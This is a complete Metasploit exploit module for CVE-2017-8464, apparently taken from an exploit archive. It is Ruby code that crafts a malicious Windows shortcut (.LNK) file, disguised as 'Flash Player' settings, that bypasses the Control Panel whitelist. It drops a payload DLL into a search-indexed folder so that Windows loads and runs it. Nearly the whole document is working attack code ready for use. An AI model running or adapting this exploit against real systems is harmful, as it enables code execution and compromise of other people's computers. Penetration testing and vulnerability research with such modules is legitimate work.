Microsoft Windows LNK File Code Execution

This Metasploit module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. The PATH option must be an absolute path to a writeable directory which is indexed for searching. If no PATH is specified, the module defaults to %USERPROFILE%.


MD5 | e8d2e4d615be10d88bf8b20b6b549143

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv

attr_accessor :exploit_dll_name

def initialize(info = {})
super(
update_info(
info,
'Name' => 'LNK Code Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
that contain a dynamic icon, loaded from a malicious DLL.

This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
similar except an additional SpecialFolderDataBlock is included. The folder ID set
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
DLL file.

The PATH option must be an absolute path to a writeable directory which is indexed for
searching. If no PATH is specified, the module defaults to %USERPROFILE%.
},
'Author' =>
[
'Uncredited', # vulnerability discovery
'Yorick Koster', # msf module
'Spencer McIntyre' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8464'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'FileDropperDelay' => 15,
'WfsDelay' => 30
},
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' =>
{
'Space' => 2048
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0, # Default target is Automatic
'DisclosureDate' => 'Jun 13 2017'
)
)

register_options(
[
OptString.new('FILENAME', [false, 'The LNK file']),
OptString.new('DLLNAME', [false, 'The DLL file containing the payload']),
OptString.new('PATH', [false, 'An explicit path to where the files should be written to'])
]
)

register_advanced_options(
[
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
]
)
end

def check
if session.sys.process['SearchIndexer.exe']
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def get_name(option, default_ext)
name = datastore[option].to_s.strip
name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank?
name
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if session.platform != 'windows'
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
end

if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end

if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end

path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
datastore['EXE::Path'] = path
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")

path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%")
path.chomp!("\\")

dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}"
write_file(dll_path, generate_payload_dll)

lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}"
write_file(lnk_path, generate_link(dll_path))
register_files_for_cleanup(dll_path, lnk_path)
end

def file_rm(file)
if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true)
@dropped_files.delete(file)
end
end

def generate_link(path)
vprint_status("Generating LNK file to load: #{path}")
path += "\x00" # Do not use << here
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
comment = datastore['LnkComment'].dup << "\x00"

# Control Panel Applet ItemID with our DLL
cpl_applet = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
].pack('C*')
cpl_applet << [path.length].pack('v')
cpl_applet << [display_name.length].pack('v')
cpl_applet << path.unpack('C*').pack('v*')
cpl_applet << display_name.unpack('C*').pack('v*')
cpl_applet << comment.unpack('C*').pack('v*')

# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
0x00, 0x00, 0x00, 0x00, # FileAttributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
0x00, 0x00, 0x00, 0x00, # FileSize
0x00, 0x00, 0x00, 0x00, # IconIndex
0x00, 0x00, 0x00, 0x00, # ShowCommand
0x00, 0x00, # HotKey
0x00, 0x00, # Reserved1
0x00, 0x00, 0x00, 0x00, # Reserved2
0x00, 0x00, 0x00, 0x00 # Reserved3
].pack('C*')

# IDList
idlist_data = ''
# ItemID = ItemIDSize (2 bytes) + Data (variable)
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
# All Control Panel Items
0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
# ItemID = ItemIDSize (2 bytes) + Data (variable)
idlist_data << [cpl_applet.length + 2].pack('v')
idlist_data << cpl_applet
idlist_data << [0x00].pack('v') # TerminalID

# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data

# ExtraData
# SpecialFolderDataBlock
ret << [
0x10, 0x00, 0x00, 0x00, # BlockSize
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
].pack('C*')
# TerminalBlock
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
ret
end
end

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